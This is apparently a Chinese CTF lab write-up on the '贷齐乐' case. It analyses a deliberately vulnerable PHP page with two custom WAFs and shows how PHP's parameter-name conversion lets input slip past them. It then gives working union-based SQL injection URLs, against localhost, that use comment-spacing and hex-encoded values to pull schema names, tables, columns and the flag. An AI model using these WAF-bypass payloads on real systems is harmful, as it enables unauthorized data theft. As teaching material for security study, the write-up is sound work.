贷齐乐案例

源码分析:

<?php
// 设置 HTTP 头部,指定内容类型为 text/html,字符集为 utf-8
header("Content-type: text/html; charset=utf-8");
// 引入数据库配置文件
require 'db.inc.php';
// 定义函数 dhtmlspecialchars,用于过滤 HTML 特殊字符
function dhtmlspecialchars($string) {
    if (is_array($string)) {
        // 如果 $string 是数组,递归调用 dhtmlspecialchars 函数处理数组元素
        foreach ($string as $key => $val) {
            $string[$key] = dhtmlspecialchars($val);
        }
    } else {
        // 如果 $string 不是数组,替换 HTML 特殊字符为对应的转义序列
        $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
        // 检查字符串中是否包含 HTML 实体编码,如果包含,将其还原为对应字符
        if (strpos($string, '&amp;#') !== false) {
            $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
        }
    }
    return $string;
}
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
  // 经过第一个waf处理
  //i_d=1&i.d=aaaaa&submit=1
// 定义函数 dowith_sql,用于检查 SQL 注入攻击
function dowith_sql($str) {
    // 使用正则表达式检查字符串是否包含 SQL 注入关键词
    $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
    if ($check) {
        // 如果检查到 SQL 注入关键词,输出警告信息并终止程序执行
        echo "非法字符!";
        exit();
    }
    return $str;
}
// 遍历 $_REQUEST 数组,对用户输入的数据进行 SQL 注入检查和 HTML 特殊字符过滤
foreach ($_REQUEST as $key => $value) {
    $_REQUEST[$key] = dowith_sql($value);
}
// 解析请求 URI,获取查询参数,并对参数进行 HTML 特殊字符过滤和 SQL 注入检查
$request_uri = explode("?", $_SERVER['REQUEST_URI']);

if (isset($request_uri[1])) {
    $rewrite_url = explode("&", $request_uri[1]);
    foreach ($rewrite_url as $key => $value) {
        $_value = explode("=", $value);
        if (isset($_value[1])) {
            $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
        }
    }
}
// 如果提交按钮被点击,则执行以下代码
//   $_REQUEST不能有恶意字符
// $_SERVER
  // 业务处理
  //?i_d&i.d=aaaaaaa
if (isset($_REQUEST['submit'])) {
    // 获取用户输入的用户 ID
    $user_id = $_REQUEST['i_d'];
    // 构造 SQL 查询语句,查询用户表中 ID 匹配用户输入的用户 ID 的记录
    $sql = "select * from ctf.users where id=$user_id";
    // 执行 SQL 查询
    $result = mysql_query($sql);
    // 遍历查询结果,输出用户信息
    while($row = mysql_fetch_array($result)) {
        echo "<tr>";
        echo "<td>" . $row['name'] . "</td>";
        echo "</tr>";
    }
}
?>

第一道WAF(对字符进行了过滤):

通过第二道WAF(对字符进行转换,以及addslashes函数):

这里php版本记得改,我因为这里忘记改了折腾好久

数据库操作:

如果想找到可以使用的SQL注入漏洞,首要任务就是绕过两道WAF。

第二道WAF中explode函数例子(说白了就是分割):

我们在这段代码之间加一个打印函数,每次改源代码都记得要保存再刷新页面

结果如下

看到这个value1就是我们传入的值,然后将我们的值传入到dhtmlspecialchars函数中进行检测替换。最后我们可以看到将$_SERVER['REQUEST_URI']中的字符覆盖到$_REQUEST[$_value[0]]中。

按道理来说并没有什么大错误,但试想:这个过程是在我们的第一道WAF之后进行的,假设我们有一个方法让第一道WAF认为请求中没有恶意字符,再通过这里的覆盖,将恶意字符引入$_REQUEST中,就可以造成WAF的绕过了。

那么有什么办法让第一道WAF认为请求中没有恶意字符?这其实是个很难的问题,因为WAF会检测所有请求数组,只要有一个数组内的值存在问题,就直接退出。

我一直在思考,假设我有一个办法,在第一次WAF检测参数的时候,检测的是2,但后面覆盖request的时候,拿到的是1,那么不就可以造成WAF的绕过了么?(简单理解就是通过第一个WAF时让第二个能正常通过的参数代替第一个参数检测,然后第二道WAF没有了过滤功能就可以用第一个参数带入数据库了)

在想这个问题之前我先引用一个知识点

php另一个特性,自身在解析请求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线,这里我们做个测试。

验证成功

那么假设我发送的是这样一个请求: /index.php?user_id=11111&user.id=22222 ,php先将user.id转换成user_id,即为/index.php?user_id=11111&user_id=22222 ,再获取到的$_REQUEST['user_id']就是22222。

可在$_SERVER['REQUEST_URI']中,user_id和user.id却是两个完全不同的参数名,那么切割覆盖后,获取的$_REQUEST['user_id']却是11111。(简单来说就是第二个参数在请求之后转换成了user_id,而php在两个参数名相同的时候会取第二个正常参数通过第一个WAF,可在$_SERVER['REQUEST_URI']中并不会将.转换为_,所以取的是第一个参数)

  • 1、第一道WAF拿到传入的111,当然,我们将另一个参数设置为bad’,加了单引号,如果不成功肯定是报错的。
  • 2、我们要让第二道WAF拿到bad’,因为单引号过滤在第一道WAF处,所以不会报错。

上面便是我们想要的结果,下面我们更改源码来进行测试查看两个WAF分别传入的值:

我们尝试在$_SERVER['REQUEST_URI']赋值后打印$_REQUEST[$_value[0]]

我们在第一道WAF打印看看反馈

可以发现并没有报错并且取到的是第二个参数的值

在第二道WAF打印看看反馈

我们可以看到我们的假设是成立的,所以我们可以利用我们发现的开始注入。

这里由于我们不能使用括号(第二道WAF会进行替换),所以优先使用联合查询进行注入:(这里我们使用注释代替空格)

测试回显字段

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,2,3,4&i.d=1&submit=1

之后我们在第二个字段进行注入得到数据库名字

http://127.0.0.1/daiqile/index.php/i_d=-1/**/union/**/select/**/1,table_schema,3,4/**/from/**/information_schema.tables&i.d=1&submit=1

 这些库名全部混在一起了,我们可以利用python爬虫一个个爬出来,我这里就不写了

一般在比赛中是一个数据库即为ctf,我们就用ctf进行查询

爆出表名

这里由于源码中WAF使用了等号截断,所以我们这里使用like代替了等号,同时传入数据库中的内容使用十六进制进行了替换:

http://127.0.0.1/daiqile/index.php/i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=1&submit=1

爆出表下的列名,我们可以直接进行查询,但是无法使用group_concat连接函数进行分割(因为这个函数会使用到括号会被替换)

http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=1&submit=1

我们可以看出有一个flag字段

最后一步,得到flag!

http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1

  • 30
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值